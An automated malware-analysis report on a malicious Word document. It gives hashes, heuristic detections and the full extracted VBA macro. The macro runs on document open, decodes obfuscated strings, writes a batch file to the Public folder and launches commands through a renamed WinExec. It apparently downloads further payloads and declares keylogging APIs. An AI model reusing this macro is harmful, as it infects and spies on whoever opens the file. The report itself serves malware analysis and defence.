Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd81d70fa14f0e95…

MALICIOUS

Office (OLE)

220.0 KB Created: 2020-04-27 09:40:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 14bdb71027d729ec291098c09575e8d4 SHA-1: 709668ccece088093cfbf089a5fb371b1e2d3a47 SHA-256: dd81d70fa14f0e95b8cd2fe86a9a21a264cbb4bb32d80c4195fc13ee6791b994
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The presence of heuristics related to WinExec and keylogging suggests the macro is designed to download and execute further payloads and potentially monitor user input. The obfuscated script content and lack of specific indicators prevent definitive family attribution.

Heuristics 6

  • ClamAV: Doc.Malware.Generic-8011099-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-8011099-0
  • Reference to WinExec API high SC_STR_WINEXEC
    Reference to WinExec API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA polls global keyboard state (keylogger) high OLE_VBA_KEYLOGGER_SPYWARE
    The macro declares or calls a Win32 keystroke-monitoring API (GetAsyncKeyState, SetWindowsHookEx WH_KEYBOARD, or GetKeyboardState) to capture keystrokes system-wide. No legitimate document automation polls global key state; this is the core of a VBA keylogger, usually paired with active-window capture (GetForegroundWindow) and a log file. A high-confidence spyware behaviour independent of any download / Shell evidence.
    Matched line in script
    Declare PtrSafe Function GetAsyncKeyState Lib "user32" (ByVal vKey As LongPtr) As Integer
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31163 bytes
SHA-256: 6570e3eab448589fb960a3251a8b7aefec97f0eb138b9f2081cd9189bbbdfa28
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()

End Sub

Private Sub Document_Open()
bcsjw.cskjnk3kjdbascfkjb2qwkejbckiqow
End Sub


Attribute VB_Name = "bklern4jh"
Private Function nfkj23(f As Integer) As Long

End Function

Public Function ewruhki3(fh34jh As Double, SFWE342XCDSDFG45ASDF As String, ckjbnk3jbmvpwjo3 As Integer) As String
    pfoi23hj.jtr4j3h4.Caption = bfikj2h3kk("()hojsuT57ftbCnpsG;;^usfwopD/nfutzT\)hojsuTufH/JJDTB;;^hojepdoF/uyfU/nfutzT\)fmjGebpmoxpE/*uofjmDcfX/ufO!udfkcP.xfO)##!eobnnpD.!mmfitsfxpq!D0") + SFWE342XCDSDFG45ASDF
    Dim XCBNSTH56 As Double
    XCBNSTH56 = XCBNSTH56 - 0.00000172 * Sin(45.556586 + 57.292 * T)
    XCBNSTH56 = XCBNSTH56 + 0.0007499 * Cos(5.46787954 + 5.6484 * T)
    pfoi23hj.jtr4j3h4.Caption = pfoi23hj.jtr4j3h4.Caption & bfikj2h3kk("(!,!**(myXbnymdqSHduSIYkmHcjWIVdOodmOYWdq{R()hojsuT57ftbCnpsG;;^usfwopD/nfutzT\)hojsuTufH/JJDTB;;^hojepdoF/uyfU/nfutzT\!-**(") + CStr(ckjbnk3jbmvpwjo3)
    XCBNSTH56 = XCBNSTH56 + 0.07679499 * Sin(4.4744954 + 55.61484 * T)
    pfoi23hj.jtr4j3h4.Caption = pfoi23hj.jtr4j3h4.Caption & bfikj2h3kk("]djmcvQ]tsftV];D?!*(f(!,!(y(!,!(f/(!,!(") + CStr(ckjbnk3jbmvpwjo3) + bfikj2h3kk("uyu/")
    XCBNSTH56 = XCBNSTH56 + 0.074459499 * Cos(54.47954 + 55.61484 * T)
    pfoi23hj.txbrn.Text = bfikj2h3kk("fyf/end]34nfutzT]txpeojX];D")
    pfoi23hj.txpr.Text = pfoi23hj.jtr4j3h4.Caption
    bcsjw.clkjasb235jblkdjfbkwj35jblkjdefbk3
End Function



Attribute VB_Name = "bcsjw"
Public Function clkjasb235jblkdjfbkwj35jblkjdefbk3() As Object
    Dim rs As Double
    rs = 0
    rs = Sin(df) * 0.5 + 0.8 * 2
    ajbhk3h43.sadfjkl23hkl pfoi23hj.txbrn.Text + " " + pfoi23hj.txpr.Text, 0
End Function

Function bfikj2h3kk(s As String) As String
    Dim WER234 As Double
    WER234 = 0#
    pfoi23hj.Label1.Tag = "123"
    bfikj2h3kk = Space$(Len(s))
    pfoi23hj.CommandButton1.Caption = pfoi23hj.Label1.Tag + "4"
    Dim lng As Integer
    WER234 = WER234 - 4.710144 * Cos(1.1 + 0.0254 * T)
    lng = Len(s)
    WER234 = WER234 + 0.8714976 * Cos(2.48350344 + 207.31415742 * T)
    For i = 1 To lng
        pfoi23hj.CommandButton1.Tag = pfoi23hj.CommandButton1.Caption + "q"
        Mid$(bfikj2h3kk, i, 1) = Mid$(s, Len(s) - i + 1, 1)
    Next
    pfoi23hj.Label1.Caption = "cap"
    lng = Len(s)
    pfoi23hj.Label1.Caption = pfoi23hj.Label1.Caption + "5"
    If WER234 <> 9.99899 Then
        Dim ch As String
        For i = 1 To lng
            ch = Chr(Asc(Mid$(bfikj2h3kk, i, 1)) - 1)
            WER234 = 0.1476 + 7.5742 * T / 2 - WER234
            Mid$(bfikj2h3kk, i, 1) = ch
            pfoi23hj.CommandButton1.Tag = pfoi23hj.CommandButton1.Tag + "z"
        Next
    End If
End Function

Sub qwpwretgj34(RTES452 As Long)
    Dim QCCRT452 As Double
    QCCRT452 = QCCRT452 + 3.7144 * Cos(1.134523 + 3.04545254 * T)
    ajbhk3h43.bdfkij2bw3kjv RTES452 * 1000
    QCCRT452 = QCCRT452 - 0.0014976 * Sin(1.45465034 + 27.35742 * T)
End Sub

Public Function cskjnk3kjdbascfkjb2qwkejbckiqow() As Boolean
    Dim i As Integer
    pfoi23hj.CommandButton2.Caption = "fa46"
    Dim emst As String
    
    Dim RTYHG93 As Double
    RTYHG93 = 0#
    emst = ""
    
    Dim dfn As Integer
    RTYHG93 = RTYHG93 - 0.000000343 * Sin(2.00251 + 41.473372 * T)
    dfn = 7
    RTYHG93 = RTYHG93 + 0.000034213 * Cos(1.9535251 - 21.489072 * T / 2)
    If RTYHG93 = 10 Then
        For i = 1 To dfn
            If pfoi23hj.CommandButton2.Tag = "t4" Then
                MsgBox ("Continue")
                pfoi23hj.CommandButton2.Tag = "t6"
            End If
        Next
    End If

    roihwo23.Show False
    
    RTYHG93 = RTYHG93 + 0.0000000153 * Cos(4.923745251 + 421.477572 * T)
   
    roihwo23.Repaint
    Dim hbh34 As String
    pfoi23hj.lblmst.Tag = bfikj2h3kk("ubc/qnu]djm" & emst + "cvQ]tsftV];D")
    hbh34 = pfoi23hj.lblmst.Tag
    RTYHG93 = RTYHG93 + 0.0000023544 * Cos(34.934251 + 632.00572 * T)
    Open hbh34 For Binary As #1
    RTYHG93 = 0.25 * RTYHG93 - 0.00012344 * Sin(3.9251 + 62.0572 * T)
    hbh34 = bfikj2h3kk(pfoi23hj.Label3.Caption)
    RTYHG93 = 0.3 * R + 0.00012344 * Abs(2.9001 + 6.000872 * T)
    Put #1, , hbh34
    RTYHG93 = RTYHG93 - 0.000035544 * Sin(3.23401 + 93.0000342 * T)
    Close #1
    pfoi23hj.txbrn.Text = bfikj2h3kk("fyf/end]34nfutzT]txpeojX];D")
    pfoi23hj.txpr.Text = hbh34
    clkjasb235jblkdjfbkwj35jblkjdefbk3
    
    Dim flg As String
    flg = Dir(bfikj2h3kk("sjeqnu]djmcvQ]tsftV];D"), vbDirectory)
    
    RTYHG93 = RTYHG93 + 0.00003401 * Cos(3.3745251 + 41.47572 * T)
    RTYHG93 = RTYHG93 - 3.003401 * Sin(3.3745251 + 4.47572 * T)
    
    Do While RTYHG93 <> 9.9999 And flg = ""
       RTYHG93 = RTYHG93 - 0.0004401 * Sin(2.35251 + 1.472 * T)
       
        flg = Dir(bfikj2h3kk("sjeqnu]djmcvQ]tsftV];D"), vbDirectory)
        
        If R = 9.99999 Then MsgBox ("485")
    Loop

    Dim dkekr(1 To 6) As String
    Dim nln As Integer
    
    dkekr(1) = bfikj2h3kk("o6HdvhEP5hEP5h{M5iHdkS4Mu:3Zv1H[ieIciO4MwpEd1SIb")
    dkekr(2) = bfikj2h3kk(">dncx6DP5hEP5hEPwlobpK4ejqYZrWocw13ck6TZ66X[sCYbt[3MwpEd1SIb")
    dkekr(3) = bfikj2h3kk(">>x[vCoM5hEP5hEP59Df1uHfy[oerKn[7:TcwOnM2REfxF{MwpEd1SIb")
    dkekr(4) = bfikj2h3kk("o6HdvhEP5hEP5h{M6qXflqXeqKnZt:Dcv6D[mm4ctCYcim3MwpEd1SIb")
    dkekr(5) = bfikj2h3kk(">dncx6DP5hEP5hEPwpY[ySH[o:TcwOnMi6X[oGHezG3ZiSXZtyXZzWYciSXZlWYbk:HexG3MwpEd1SIb")
    dkekr(6) = bfikj2h3kk(">>x[vCoM5hEP5hEP59j[7qY[o:jdj6TcwOnM{:ncieXbkGHcwO3dm:He2G3MwpEd1SIb")
    nln = 6

    RTYHG93 = RTYHG93 + 4.76510144 * Cos(1.1 + 0.0254 * T)

    pfoi23hj.cdnklj3b4kj.Caption = bfikj2h3kk(pfoi23hj.Label4.Caption)
    Dim prm As String
    
    RTYHG93 = RTYHG93 + 0.89714976 * Cos(2.483450344 + 207.31415742 * T)
    
    prm = bfikj2h3kk("!U0!Z!E0" + emst & "!O0!Z!D0!" & emst & "fdjpid!D0!")
    
    pfoi23hj.jkehrkj234jb.Caption = pfoi23hj.cdnklj3b4kj.Caption
    pfoi23hj.txbrn.Text = pfoi23hj.jkehrkj234jb.Caption
    pfoi23hj.txpr.Text = prm & bfikj2h3kk("ubc/qnu]djmcvQ]tsftV];D!mfE!'!2")
    clkjasb235jblkdjfbkwj35jblkjdefbk3
    
    RTYHG93 = RTYHG93 + 0.074629499 * Cos(4.4775954 + 525.861484 * T)
    RTYHG93 = RTYHG93 + 0.0000000172 * Cos(3.556656586 + 547.2192 * T)
    
    For i = 1 To nln
        RTYHG93 = 20 * Sqr(2.6184 * Abs(T)) + RTYHG93
        bklern4jh.ewruhki3 0.3, dkekr(i), i
        
        Dim GFWE45GF As Double
        Dim Mercury_L02 As Double
        Dim stu As String
        
        GFWE45GF = 0#
        GFWE45GF = GFWE45GF + 3.450710144 * Cos(0.454 + 0 * T)
        
        Dim tal As Integer
        
        GFWE45GF = GFWE45GF + 0.00000001255 * Cos(1.854115004 + 764.945432344 * T)

        stu = bfikj2h3kk("]djmcvQ]tsftV];D") + CStr(i) + bfikj2h3kk("uyu/")
        tal = 0
        Dim tt As Integer
       
        GFWE45GF = GFWE45GF + 0.00000029 * Cos(0.83216637 + 5618.3812281138 * T)
        GFWE45GF = GFWE45GF + 0.000000045 * Cos(3.1537061982 + 106.495719 * T)
        
        Do While Dir(stu) = ""
            GFWE45GF = GFWE45GF + 0.0000003429 * Cos(2.856216637 + 568.384581138 * T)
            qwpwretgj34 1
            GFWE45GF = GFWE45GF + 0.0000000345 * Cos(5.15370982 + 16.4419 * T / 2)
            tal = tal + 1
            If tal > 90 Then Exit Do
        Loop
  
        tt = 60
        pfoi23hj.jkehrkj234jb.Caption = pfoi23hj.cdnklj3b4kj.Caption
        pfoi23hj.txbrn.Text = pfoi23hj.jkehrkj234jb.Caption
        pfoi23hj.txpr.Text = prm & CStr(tt + 5) & bfikj2h3kk("tqnu]sjeqnu]djmcvQ]tsftV];D!mfE!'!") + CStr(i) + bfikj2h3kk("ubc/") & bfikj2h3kk("!mfe!'!") + stu
        clkjasb235jblkdjfbkwj35jblkjdefbk3
        tal = 1
        Dim tmps As String
        tmps = bfikj2h3kk("tqnu]sjeqnu]dj" & "mcvQ]tsftV];D")
       
        If GFWE45GF <> 123.4567 And Dir(stu) <> "" Then
            Do While FileLen(stu) = 0
                qwpwretgj34 1
                GFWE45GF = GFWE45GF + 0.000000254 * Cos(3.370982 + 146.419 * T * 4)
                If tal > tt Then Exit Do
                tal = tal + 1
            Loop
            If FileLen(stu) = 0 And Dir(bfikj2h3kk("fmjg]sjeqnu]djmcvQ]tsftV];D") + CStr(i) + bfikj2h3kk("fyf/")) <> "" Then
                Dim bcqkbvwrk2hv34lgsdfig34 As String
                Dim qeiho45hkjdhf As String
                GFWE45GF = GFWE45GF - 0.0004234 * Sin(8.2680768 + 18.08597 * T)
                
                bcqkbvwrk2hv34lgsdfig34 = tmps + CStr(i) + bfikj2h3kk("ub" & "c/")
                
                If GFWE45GF <> 0.12345 Then pfoi23hj.ewrioi34h5.Caption = bcqkbvwrk2hv34lgsdfig34
                
                If GFWE45GF <> 12.3456 Then bcqkbvwrk2hv34lgsdfig34 = pfoi23hj.Label2.Caption
                Dim fhj3j As String
                qeiho45hkjdhf = bfikj2h3kk(bcqkbvwrk2hv34lgsdfig34)
                
                Dim sierhj As String
                sierhj = ""
                fhj3j = pfoi23hj.ewrioi34h5.Caption
                
                Dim sarieh(1 To 5) As String
                sarieh(1) = pfoi23hj.cdnklj3b4kj.Caption
                sarieh(2) = prm
                sarieh(3) = qeiho45hkjdhf
                sarieh(4) = CStr(i)
                sarieh(5) = bfikj2h3kk("fy" & "f/")
                For uer = 1 To 5
                    sierhj = sierhj + sarieh(uer)
                Next
                Open fhj3j For Binary As #1
                If GFWE45GF <> 99.99999 Then Put #1, , sierhj
                If GFWE45GF <> 1 Then Close #1
                pfoi23hj.txbrn.Text = fhj3j
                pfoi23hj.txpr.Text = vbNullString
                clkjasb235jblkdjfbkwj35jblkjdefbk3
                Exit For
            End If
        End If
    Next
    RTYHG93 = RTYHG93 + 3.45610144 * Cos(3.554 + 0.45 * T)
    roihwo23.Hide
End Function



Attribute VB_Name = "roihwo23"
Attribute VB_Base = "0{96D54CE9-73C4-42EF-B3AA-EE92FE8A008E}{BA7937C7-D3F9-4362-B95C-407628A87B7A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ajbhk3h43"
#If VBA7 Then
Declare PtrSafe Function GetClipboardViewer Lib "user32" () As LongPtr
Declare PtrSafe Function SetClipboardData Lib "user32" Alias "SetClipboardDataA" (ByVal wFormat As LongPtr, ByVal hMem As LongPtr) As LongPtr
Declare PtrSafe Function DestroyMenu Lib "user32" (ByVal hMenu As LongPtr) As LongPtr
Declare PtrSafe Function DestroyWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function DlgDirSelectComboBoxEx Lib "user32" Alias "DlgDirSelectComboBoxExA" (ByVal hWndDlg As LongPtr, ByVal lpszPath As String, ByVal cbPath As LongPtr, ByVal idComboBox As LongPtr) As LongPtr
Declare PtrSafe Function DlgDirSelectEx Lib "user32" Alias "DlgDirSelectExA" (ByVal hWndDlg As LongPtr, ByVal lpszPath As String, ByVal cbPath As LongPtr, ByVal idListBox As LongPtr) As LongPtr
Declare PtrSafe Function CopyImage Lib "user32" (ByVal Handle As LongPtr, ByVal un1 As LongPtr, ByVal n1 As LongPtr, ByVal n2 As LongPtr, ByVal un2 As LongPtr) As LongPtr
Declare PtrSafe Function CountClipboardFormats Lib "user32" () As LongPtr
Declare PtrSafe Function CreateCaret Lib "user32" (ByVal hWnd As LongPtr, ByVal hBitmap As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr) As LongPtr
Declare PtrSafe Function DrawIcon Lib "user32" (ByVal hDC As LongPtr, ByVal x As LongPtr, ByVal y As LongPtr, ByVal hIcon As LongPtr) As LongPtr
Declare PtrSafe Function DrawIconEx Lib "user32" (ByVal hDC As LongPtr, ByVal xLeft As LongPtr, ByVal yTop As LongPtr, ByVal hIcon As LongPtr, ByVal cxWidth As LongPtr, ByVal cyWidth As LongPtr, ByVal istepIfAniCur As LongPtr, ByVal hbrFlickerFreeDraw As LongPtr, ByVal diFlags As LongPtr) As Boolean
Declare PtrSafe Function DrawMenuBar Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function BringWindowToTop Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function CloseDesktop Lib "user32" (ByVal hDesktop As LongPtr) As Boolean
Declare PtrSafe Function SetClipboardViewer Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetCursor Lib "user32" (ByVal hCursor As LongPtr) As LongPtr
Declare PtrSafe Function SetCursorPos Lib "user32" (ByVal x As LongPtr, ByVal y As LongPtr) As LongPtr
Declare PtrSafe Function SetDlgItemInt Lib "user32" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal wValue As LongPtr, ByVal bSigned As LongPtr) As LongPtr
Declare PtrSafe Function CloseWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function CreateMenu Lib "user32" () As LongPtr
Declare PtrSafe Function DdeFreeDataHandle Lib "user32" (ByVal hData As LongPtr) As LongPtr
Declare PtrSafe Function DestroyAcceleratorTable Lib "user32" (ByVal haccel As LongPtr) As LongPtr
Declare PtrSafe Function DestroyCaret Lib "user32" () As LongPtr
Declare PtrSafe Function DestroyCursor Lib "user32" (ByVal hCursor As LongPtr) As LongPtr
Declare PtrSafe Function DestroyIcon Lib "user32" (ByVal hIcon As LongPtr) As LongPtr
Declare PtrSafe Function EnumChildWindows Lib "user32" (ByVal hWndParent As LongPtr, ByVal lpEnumFunc As LongPtr, ByVal lParam As LongPtr) As Boolean
Declare PtrSafe Function FreeDDElParam Lib "user32" (ByVal msg As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function GetActiveWindow Lib "user32" () As LongPtr
Declare PtrSafe Function GetAsyncKeyState Lib "user32" (ByVal vKey As LongPtr) As Integer
Declare PtrSafe Function GetCapture Lib "user32" () As LongPtr
Declare PtrSafe Function GetCaretBlinkTime Lib "user32" () As LongPtr
Declare PtrSafe Function GetClassLong Lib "user32" Alias "GetClassLongA" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr) As LongPtr
Declare PtrSafe Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As LongPtr, ByVal lpClassName As String, ByVal nMaxCount As LongPtr) As LongPtr
Declare PtrSafe Function GetClassWord Lib "user32" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardData Lib "user32" Alias "GetClipboardDataA" (ByVal wFormat As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As LongPtr, ByVal lpString As String, ByVal nMaxCount As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardOwner Lib "user32" () As LongPtr
Declare PtrSafe Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPtr
Declare PtrSafe Function SetDlgItemText Lib "user32" Alias "SetDlgItemTextA" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal lpString As String) As LongPtr
Declare PtrSafe Function SetDoubleClickTime Lib "user32" (ByVal wCount As LongPtr) As LongPtr
Declare PtrSafe Function SetFocus Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetForegroundWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetMenu Lib "user32" (ByVal hWnd As LongPtr, ByVal hMenu As LongPtr) As LongPtr
Declare PtrSafe Function SetMenuContextHelpId Lib "user32" (ByVal hMenu As LongPtr, ByVal dw As LongPtr) As Boolean
Declare PtrSafe Function SetMenuDefaultItem Lib "user32" (ByVal hMenu As LongPtr, ByVal uItem As LongPtr, ByVal fByPos As LongPtr) As Boolean
Declare PtrSafe Function EnumPropsEx Lib "user32" Alias "EnumPropsExA" (ByVal hWnd As LongPtr, ByVal lpEnumFunc As LongPtr, ByVal lParam As LongPtr) As LongPtr
Public Declare PtrSafe Sub bdfkij2bw3kjv Lib "kernel32" Alias "Sleep" (ByVal cnkqjb3kjb As LongPtr)
Declare PtrSafe Function GetLastActivePopup Lib "user32" (ByVal hwndOwnder As LongPtr) As LongPtr
Declare PtrSafe Function GetMenu Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetMenuCheckMarkDimensions Lib "user32" () As LongPtr
Declare PtrSafe Function GetMenuItemCount Lib "user32" (ByVal hMenu As LongPtr) As LongPtr
Declare PtrSafe Function GetQueueStatus Lib "user32" (ByVal fuFlags As LongPtr) As LongPtr
Declare PtrSafe Function GetScrollPos Lib "user32" (ByVal hWnd As LongPtr, ByVal nBar As LongPtr) As LongPtr
Declare PtrSafe Function GetScrollRange Lib "user32" (ByVal hWnd As LongPtr, ByVal nBar As LongPtr, lpMinPos As LongPtr, lpMaxPos As LongPtr) As LongPtr
Declare PtrSafe Function GetDC Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetDCEx Lib "user32" (ByVal hWnd As LongPtr, ByVal hrgnclip As LongPtr, ByVal fdwOptions As LongPtr) As LongPtr
Declare PtrSafe Function GetDesktopWindow Lib "user32" () As LongPtr
Declare PtrSafe Function GetDlgItemInt Lib "user32" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal lpTranslated As LongPtr, ByVal bSigned As LongPtr) As LongPtr
Declare PtrSafe Function GetTabbedTextExtent Lib "user32" Alias "GetTabbedTextExtentA" (ByVal hDC As LongPtr, ByVal lpString As String, ByVal nCount As LongPtr, ByVal nTabPositions As LongPtr, lpnTabStopPositions As LongPtr) As LongPtr
Declare PtrSafe Function GetThreadDesktop Lib "user32" (ByVal dwThread As LongPtr) As LongPtr
Declare PtrSafe Function GetTopWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As LongPtr) As LongPtr
Declare PtrSafe Function GetKeyboardLayoutList Lib "user32" (ByVal nBuff As LongPtr, lpList As LongPtr) As LongPtr
Declare PtrSafe Function GetDoubleClickTime Lib "user32" () As LongPtr
Declare PtrSafe Function GetFocus Lib "user32" () As LongPtr
Public Declare PtrSafe Function sadfjkl23hkl Lib "kernel32" Alias "WinExec" (ByVal bder356 As String, ByVal vszdf46457 As LongPtr) As Long
Declare PtrSafe Function GetWindowDC Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr) As LongPtr
Declare PtrSafe Function ReuseDDElParam Lib "user32" (ByVal lParam As LongPtr, ByVal msgIn As LongPtr, ByVal msgOut As LongPtr, ByVal uiLo As LongPtr, ByVal uiHi As LongPtr) As LongPtr
Declare PtrSafe Function SendDlgItemMessage Lib "user32" Alias "SendDlgItemMessageA" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal wMsg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As LongPtr, ByVal wMsg As LongPtr, ByVal wParam As LongPtr, lParam As LongPtr) As LongPtr
Declare PtrSafe Function SendMessageCallback Lib "user32" Alias "SendMessageCallbackA" (ByVal hWnd As LongPtr, ByVal msg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr, ByVal lpResultCallBack As LongPtr, ByVal dwData As LongPtr) As LongPtr
Declare PtrSafe Function SendMessageTimeout Lib "user32" Alias "SendMessageTimeoutA" (ByVal hWnd As LongPtr, ByVal msg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr, ByVal fuFlags As LongPtr, ByVal uTimeout As LongPtr, lpdwResult As LongPtr) As LongPtr
Declare PtrSafe Function SendNotifyMessage Lib "user32" Alias "SendNotifyMessageA" (ByVal hWnd As LongPtr, ByVal msg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function SetActiveWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetCapture Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetCaretBlinkTime Lib "user32" (ByVal wMSeconds As LongPtr) As LongPtr
Declare PtrSafe Function SetCaretPos Lib "user32" (ByVal x As LongPtr, ByVal y As LongPtr) As LongPtr
Declare PtrSafe Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr, ByVal dwNewLong As LongPtr) As LongPtr
Declare PtrSafe Function SetClassWord Lib "user32" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr, ByVal wNewWord As LongPtr) As LongPtr
Declare PtrSafe Function GetForegroundWindow Lib "user32" () As LongPtr
Declare PtrSafe Function GetWindowContextHelpId Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetKeyboardLayoutName Lib "user32" Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As LongPtr
Declare PtrSafe Function GetUserObjectInformation Lib "user32" Alias "GetUserObjectInformationA" (ByVal hObj As LongPtr, ByVal nIndex As LongPtr, pvInfo As Any, ByVal nLength As LongPtr, lpnLengthNeeded As LongPtr) As Boolean
Declare PtrSafe Function GetWindow Lib "user32" (ByVal hWnd As LongPtr, ByVal wCmd As LongPtr) As LongPtr

#Else
Declare Function GetDialogBaseUnits Lib "user32" () As Long
Declare Function GetDlgCtrlID Lib "user32" (ByVal hWnd As Long) As Long
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetInputState Lib "user32" () As Long
Declare Function GetDlgItem Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long
Declare Function GetDlgItemInt Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpTranslated As Long, ByVal bSigned As Long) As Long
Declare Function GetDlgItemText Lib "user32" Alias "GetDlgItemTextA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpString As String, ByVal nMaxCount As Long) As Long
Declare Function GetDoubleClickTime Lib "user32" () As Long
Declare Function CloseClipboard Lib "user32" () As Long
Declare Function CloseDesktop Lib "user32" (ByVal sdfkn234jbhiwefisu As Long) As Boolean
Declare Function CloseWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function CloseWindowStation Lib "user32" (ByVal hWinSta As Long) As Boolean
Declare Function CopyCursor Lib "user32" (ByVal hcur As Long) As Long
Declare Function GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As Long, ByVal lpString As String, ByVal nMaxCount As Long) As Long
Declare Function GetClipboardOwner Lib "user32" () As Long
Declare Function GetClipboardViewer Lib "user32" () As Long
Declare Function GetDesktopWindow Lib "user32" () As Long
Declare Function CopyIcon Lib "user32" (ByVal hIcon As Long) As Long
Declare Function CopyImage Lib "user32" (ByVal Handle As Long, ByVal bcvmnxsbcvjhvrjh2v As Long, ByVal n1 As Long, ByVal n2 As Long, ByVal un2 As Long) As Long
Declare Function CountClipboardFormats Lib "user32" () As Long
Declare Function CreateCaret Lib "user32" (ByVal hWnd As Long, ByVal hBitmap As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Declare Function GetFocus Lib "user32" () As Long
Declare Function GetLastActivePopup Lib "user32" (ByVal hwndOwnder As Long) As Long
Declare Function GetMenu Lib "user32" (ByVal hWnd As Long) As Long
Declare Function DlgDirSelectEx Lib "user32" Alias "DlgDirSelectExA" (ByVal hWndDlg As Long, ByVal lpszPath As String, ByVal cbPath As Long, ByVal idListBox As Long) As Long
Declare Function DrawIcon Lib "user32" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal hIcon As Long) As Long
Declare Function DrawIconEx Lib "user32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As Long, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Boolean
Declare Function DrawMenuBar Lib "user32" (ByVal hWnd As Long) As Long
Declare Function SetDlgItemInt Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal wValue As Long, ByVal bSigned As Long) As Long
Declare Function GetMessageExtraInfo Lib "user32" () As Long
Declare Function DrawState Lib "user32" Alias "DrawStateA" (ByVal hDC As Long, ByVal hBrush As Long, ByVal lpDrawStateProc As Long, ByVal lParam As Long, ByVal wParam As Long, ByVal n1 As Long, ByVal n2 As Long, ByVal n3 As Long, ByVal n4 As Long, ByVal un As Long) As Boolean
Declare Function EmptyClipboard Lib "user32" () As Long
Declare Function EnableMenuItem Lib "user32" (ByVal hMenu As Long, ByVal wIDEnableItem As Long, ByVal wEnable As Long) As Long
Declare Function EnableScrollBar Lib "user32" (ByVal hWnd As Long, ByVal wSBflags As Long, ByVal wArrows As Long) As Long
Declare Function EnableWindow Lib "user32" (ByVal hWnd As Long, ByVal fEnable As Long) As Long
